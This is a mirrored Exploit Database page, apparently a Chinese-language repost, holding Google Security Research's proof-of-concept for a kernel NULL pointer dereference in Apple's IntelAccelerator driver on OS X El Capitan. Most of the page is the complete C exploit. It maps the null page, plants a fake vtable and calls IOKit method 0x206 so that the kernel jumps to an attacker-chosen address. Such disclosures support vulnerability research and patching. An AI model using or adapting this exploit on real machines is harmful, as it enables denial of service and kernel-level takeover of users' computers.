Apple Mac OSX – ‘IntelAccelerator::gstqConfigure’ Kernel NULL Dereference

• Exploit Database
• 117 阅读

• 作者： Google Security Research
  日期： 2016-01-28
• 类别：

  • dos
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/39369/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145

  /* Source: https://code.google.com/p/google-security-research/issues/detail?id=595   The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.   In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206) calls gstqConfigure which doesn&apos;t check whether the GSTContextKernel pointer is NULL, therefore by calling this external method before calling any others which allocate the GSTContextKernel we can cause a kernel NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.   Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */   // ianbeer /* Exploitable kernel NULL dereference in IntelAccelerator::gstqConfigure   clang -o ig_gl_gst_null ig_gl_gst_null.c -framework IOKit -m32 -pagezero_size 0x0   The field at IntelAccelerator+0xe60 is a pointer to a GSTContextKernel allocated in the ::gstqCreateInfoMethod.   In the ::start method this field is initialized to NULL. The IGAccelDevice external method gst_configure (0x206) calls gstqConfigure which doesn&apos;t check whether the GSTContextKernel pointer is NULL, therefor by calling this external method before calling any others which allocate the GSTContextKernel we can cause a kernel NULL pointer dereference. The GSTContextKernel structure contains pointers, one of which eventually leads to control of a kernel virtual method call. This PoC will kernel panic calling 0xffff800041414141.   Tested on OS X ElCapitan 10.11.1 (15b42) on MacBookAir5,2 */ #include <stdio.h> #include <stdlib.h> #include <string.h>   #include <mach/mach.h> #include <mach/vm_map.h> #include <sys/mman.h>   #include <IOKit/IOKitLib.h>   int main(int argc, char** argv){ kern_return_t err; // re map the null page rw int var = 0; err = vm_deallocate(mach_task_self(), 0x0, 0x1000); if (err != KERN_SUCCESS){ printf("%x\n", err); } vm_address_t addr = 0; err = vm_allocate(mach_task_self(), &addr, 0x1000, 0); if (err != KERN_SUCCESS){ if (err == KERN_INVALID_ADDRESS){ printf("invalid address\n"); } if (err == KERN_NO_SPACE){ printf("no space\n"); } printf("%x\n", err); } char* np = 0; for (int i = 0; i < 0x1000; i++){ np[i] = &apos;A&apos;; }   CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator"); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; }   io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; }   io_service_t service = IOIteratorNext(iterator);   if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service);   io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 1, &conn); // type 1 == IGAccelGLContext if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; }   printf("got userclient connection: %x\n", conn);     uint64_t* obj_ptr = malloc(0x1000); uint64_t* obj = malloc(0x1000); uint64_t* vtable = malloc(0x1000); uint64_t kernel_rip = 0xffff800041414141;   vtable[0x70/8] = kernel_rip; *obj = (uint64_t)vtable;   *obj_ptr = (uint64_t)obj;   *((uint64_t*)0x28) = (uint64_t)obj_ptr;   uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0;   char inputStruct[4096]; size_t inputStructCnt = 0;   uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0;   char outputStruct[4096]; size_t outputStructCnt = 0;   inputScalarCnt = 0; inputStructCnt = 0;   outputScalarCnt = 0; outputStructCnt = 0;   inputStructCnt = 0x1000;   err = IOConnectCallMethod( conn, 0x206, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt);   if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); return 0; } }